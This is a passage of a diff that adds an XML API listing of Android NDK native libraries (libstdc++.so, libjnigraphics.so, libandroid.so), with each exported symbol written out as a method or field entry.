+ <method abstract="false" deprecated="not deprecated" final="true" name="xaQueryNumSupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libstdc++.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="_Znam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZdaPv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZnamRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_guard_abort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_guard_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZdaPvRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_pure_virtual" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZnwmRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZdlPvRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZdlPv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_Znwm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_guard_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="_ZSt7nothrow" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libjnigraphics.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="AndroidBitmap_getInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AndroidBitmap_unlockPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AndroidBitmap_lockPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBJNIGRAPHICS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libandroid.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getUiModeType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getTtsEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getKeyCode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_pollAll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_wake" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_setWindowFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_isBetterThan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_preDispatchEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getUiModeNight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetManager_openDir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getEventTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurfaceTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getAxisValue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_setWindowFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_copy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_attachLooper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setMcc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ATrace_isEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setNavigation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalTouchMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_mountObb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setKeyboard" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getPointerId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_getVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getDefaultSensorEx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getMnc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getAction" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_enableSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_createEventQueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getPointerCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getXPrecision" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getVendor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetDir_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AChoreographer_postFrameCallbackDelayed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getFifoReservedEventCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_isDirectChannelTypeSupported" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getCountry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_getEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_setProt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getKeysHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setKeysHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getToolType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getDownTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getTouchMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getRepeatCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getTouchscreen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_getFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getInstanceForPackage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getScanCode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistorySize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_setBuffersGeometry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getMcc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setSmallestScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getRawX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_addFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getRawY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_getEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AChoreographer_postFrameCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getDensity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setCountry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBANDROID" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_createHardwareBufferDirectChannel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getToolMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetManager_fromJava" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenHeightDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setUiModeNight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_isObbMounted" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_openFileDescriptor64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_pollOnce" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getStringType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getEventTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getFifoMaxEventCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getSensorList" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_allocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputEvent_getSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalRawX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getHighestDirectReportRateLevel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalRawY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getKeyboard" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getSdkVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_forThread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getRemainingLength64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_removeFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalToolMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getAction" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getRemainingLength" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_createSharedMemoryDirectChannel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getMinDelay" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_isWakeUpSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getNavHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenLong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_finishEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_hasEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ATrace_beginSection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_disableSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getLayoutDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getDefaultSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setTouchscreen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_getNativeHandle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_destroyEventQueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_setEventRate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getNavigation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputEvent_getType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_unlockAndPost" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_diff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenHeightDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setNavHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_setprocnetwork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setUiModeType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getYPrecision" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getYOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_recvHandleFromUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalAxisValue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalTouchMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_getSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getXOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_getPackageName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_isAllocated" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_seek64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_sendHandleToUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_seek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getButtonState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AObbScanner_getObbInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getMetaState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getTouchMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_toSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getLanguage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getDownTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_prepare" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getLength" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_getTtsEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getLength64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputEvent_getDeviceId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_openFileDescriptor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_match" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetDir_rewind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetManager_open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ATrace_endSection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_setsocknetwork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getReportingMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_fromHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_detachLooper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getToolMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_finish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_showSoftInput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AChoreographer_getInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setLanguage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalToolMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalPressure" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_fromAssetManager" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_configureDirectReport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_destroyDirectChannel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalEventTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_describe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setLayoutDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_toHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setMnc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getSmallestScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getEdgeFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setSdkVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
